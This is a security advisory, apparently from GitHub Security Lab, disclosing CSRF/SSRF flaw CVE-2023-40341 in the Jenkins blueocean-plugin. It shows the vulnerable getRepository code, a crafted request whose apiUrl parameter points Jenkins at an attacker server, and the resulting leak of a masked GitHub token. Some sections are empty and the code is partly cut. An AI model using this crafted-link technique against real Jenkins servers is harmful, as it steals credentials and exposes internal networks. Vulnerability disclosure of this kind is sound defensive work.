skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
August 25, 2023

GHSL-2023-061: Cross-Site Request Forgery (CSRF) and Server-Side Request Forgery (SSRF) in jenkinsci/blueocean-plugin - CVE-2023-40341

Alvaro Munoz

Coordinated Disclosure Timeline


A CSRF/SSRF vulnerability in jenkinsci/blueocean-plugin allows the leak of sensitive credentials (including GitHub credentials) to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the apiUrl parameter in the GithubScm#getRepository method. This vulnerability also enables Server-Side Request Forgery (SSRF) attacks allowing attackers to access the internal network and read responses from arbitrary hosts.



Tested Version



Credentials Leak via CSRF/SSRF (GHSL-2023-061)

The io.jenkins.blueocean.blueocean_github_pipeline.GithubScm#getRepository method does not validate/sanitize the input from the apiUrl parameter, enabling attackers to forge crafted links that leverage the CSRF and SSRF vulnerabilities to leak arbitrary secret credentials. The impact of this vulnerability includes:

Affected source code:

    @WebMethod(name = "repository")
    public GithubRepository getRepository(@QueryParameter String jobName, @QueryParameter String apiUrl) {
        Item item = Jenkins.get().getItem( jobName);
        if (item == null){
            throw new ServiceException.NotFoundException(String.format("Job %s not found", jobName));
        GitHubSCMSource gitHubSCMSource = ((GitHubSCMSource)((WorkflowMultiBranchProject)item).getSCMSource( "blueocean"));
            throw new ServiceException.NotFoundException(String.format("GitHubSCMSource for Job %s not found", jobName));
        String repoOwner = gitHubSCMSource.getRepoOwner();
        String repoName = gitHubSCMSource.getRepository();

        StandardUsernamePasswordCredentials credential = getCredential();
        String accessToken = credential.getPassword().getPlainText();

        try {
            String url = String.format("%s/repos/%s/%s", apiUrl, repoOwner, repoName);
            GHRepository ghRepository = HttpRequest.get(url).withAuthorizationToken(accessToken).to(GHRepository.class);
            return new GithubRepository(ghRepository, credential, this);
        } catch (IOException e) {
            throw new ServiceException.UnexpectedErrorException(e.getMessage(),e);

For the vulnerability to be exploited, a BlueOcean pipeline must exist using GitHub as the SCM.

In order to exploit the vulnerability, the attacker needs to send a crafted link to the victim. When the victim visits the link, their browser sends a request as follows:

GET /jenkins/blue/rest/organizations/jenkins/scm/github/repository?jobName=test-project&apiUrl= HTTP/1.1
Host: localhost:8080
.Cookie: JSESSIONID.d5fee044=node0cv21h3pnx5dd194peulgl247v1.node0; jenkins-timestamper-offset=-7200000; screenResolution=3840x1600
Connection: close

This request triggers a forged request on the victim’s behalf, leaking their GitHub credentials to the attacker-controlled server:

GET / HTTP/1.1
Authorization: token ghp_********************************
Accept-Encoding: gzip
Content-type: application/json; charset=utf-8
User-Agent: Java/
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

The response to the original request will include the forged request’s response as part of the error message.

This vulnerability was found using CodeQL’s SSRF Java query.


This vulnerability can lead to unauthorized access to sensitive information like GitHub credentials, and allows attackers to send requests to arbitrary hosts/paths within internal networks, reading their responses.





This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).


You can contact the GHSL team at, please include a reference to GHSL-2023-061 in any communication regarding this issue.